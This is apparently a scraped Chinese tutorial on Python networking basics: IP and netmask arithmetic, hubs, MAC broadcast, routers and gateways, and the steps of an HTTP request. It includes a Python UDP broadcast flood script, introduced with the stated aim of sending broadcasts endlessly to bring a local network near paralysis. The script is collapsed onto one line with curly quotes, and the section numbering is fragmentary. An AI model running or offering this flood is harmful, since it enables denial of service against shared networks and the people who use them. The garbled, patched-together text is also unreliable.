python網(wǎng)絡(luò)通信圖文詳解
ICMP協(xié)議又叫:網(wǎng)絡(luò)控制協(xié)議
2. 數(shù)據(jù)傳輸過程網(wǎng)絡(luò)傳輸?shù)氖菙?shù)據(jù)的信號而不是電流
通過ip地址和網(wǎng)絡(luò)掩碼的二進制數(shù)實行按位與運算,計算的結(jié)果轉(zhuǎn)換為十進制,非0的就是網(wǎng)絡(luò)號,0的就是主機號
但是集線器是以廣播的形式發(fā)送數(shù)據(jù),設(shè)備一多就會導(dǎo)致網(wǎng)絡(luò)擁堵。
單播寫對方的mac地址,廣播mac地址寫6組FF:FF:FF:FF:FF:FF
先根據(jù)IP地址和網(wǎng)絡(luò)掩碼二進制按位與計算出網(wǎng)絡(luò)號,在使用udp往當(dāng)前局域網(wǎng)(網(wǎng)絡(luò)號)下面無線循環(huán)發(fā)廣播,使局域網(wǎng)瀕臨癱瘓
import socket # 導(dǎo)入socketdef main(): try:# 1、創(chuàng)建socket套接字udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 這里是指定UDP協(xié)議# 2、指定地址data_address = ('192.168.255.255', 64300)# 地址要是一個 元組,第一個'192.168.100.255'是內(nèi)網(wǎng)的廣播地址,第二個 64300 是你計算機當(dāng)前的端口## 這個端口不必太在意,64300 只要不是被其他程序占用的就行,# 3、發(fā)送數(shù)據(jù)while True: send_data = '1' * 57175 # 這里發(fā)送的數(shù)據(jù)可以隨意點 udp_socket.sendto(send_data.encode('UTF-8'), data_address) # 第一個參數(shù)sendData.encode('UTF-8')是要發(fā)送的數(shù)據(jù),('UTF-8')是設(shè)置發(fā)送數(shù)據(jù)的編碼, # 第二個參數(shù)(dataAddress)是發(fā)送數(shù)據(jù)的地址,也就是筆者內(nèi)網(wǎng)的廣播地址 except Exception as result:print('未知錯誤' + str(result))if __name__ == ’__main__’: main()8. 使用路由器連接多個網(wǎng)絡(luò)
路由器的作用:連接兩個以上的網(wǎng)絡(luò)為一個大網(wǎng)絡(luò)
網(wǎng)關(guān):具有轉(zhuǎn)發(fā)數(shù)據(jù)能力的設(shè)備
當(dāng)AB兩臺電腦不在同一個網(wǎng)絡(luò)下想進行通信時,A電腦需要先把數(shù)據(jù)發(fā)送到默認網(wǎng)關(guān),網(wǎng)關(guān)具有轉(zhuǎn)發(fā)數(shù)據(jù)的能力,網(wǎng)關(guān)再把數(shù)據(jù)轉(zhuǎn)發(fā)給B電腦,默認網(wǎng)關(guān)一般都是路由器
數(shù)據(jù)在轉(zhuǎn)發(fā)的過程當(dāng)中,ip地址不變,mac地址每轉(zhuǎn)發(fā)一次就發(fā)生一次變化
9. 瀏覽器訪問服務(wù)器的過程(1)向DNS服務(wù)器發(fā)送請求進行解析域名
(2)向http服務(wù)器發(fā)送3次握手
(3)握手成功后,向http服務(wù)器發(fā)送Http格式的請求數(shù)據(jù)
(4)所有請求完畢后,向http服務(wù)器發(fā)送4次揮手
網(wǎng)絡(luò)數(shù)據(jù)包發(fā)送過程當(dāng)中源IP目標IP不變,源mac和目標mac每通過路由器網(wǎng)關(guān)轉(zhuǎn)發(fā)一次就會發(fā)生一次變化
總結(jié)本篇文章就到這里了,希望能給你帶來幫助,也希望您能夠多多關(guān)注好吧啦網(wǎng)的更多內(nèi)容!
相關(guān)文章:
1. docker容器調(diào)用yum報錯的解決辦法2. django創(chuàng)建css文件夾的具體方法3. ASP中實現(xiàn)字符部位類似.NET里String對象的PadLeft和PadRight函數(shù)4. IntelliJ IDEA創(chuàng)建web項目的方法5. 存儲于xml中需要的HTML轉(zhuǎn)義代碼6. Android打包上傳AAR文件到Maven倉庫的示例7. .NET SkiaSharp 生成二維碼驗證碼及指定區(qū)域截取方法實現(xiàn)8. CentOS郵件服務(wù)器搭建系列—— POP / IMAP 服務(wù)器的構(gòu)建( Dovecot )9. phpstudy apache開啟ssi使用詳解10. jsp網(wǎng)頁實現(xiàn)貪吃蛇小游戲
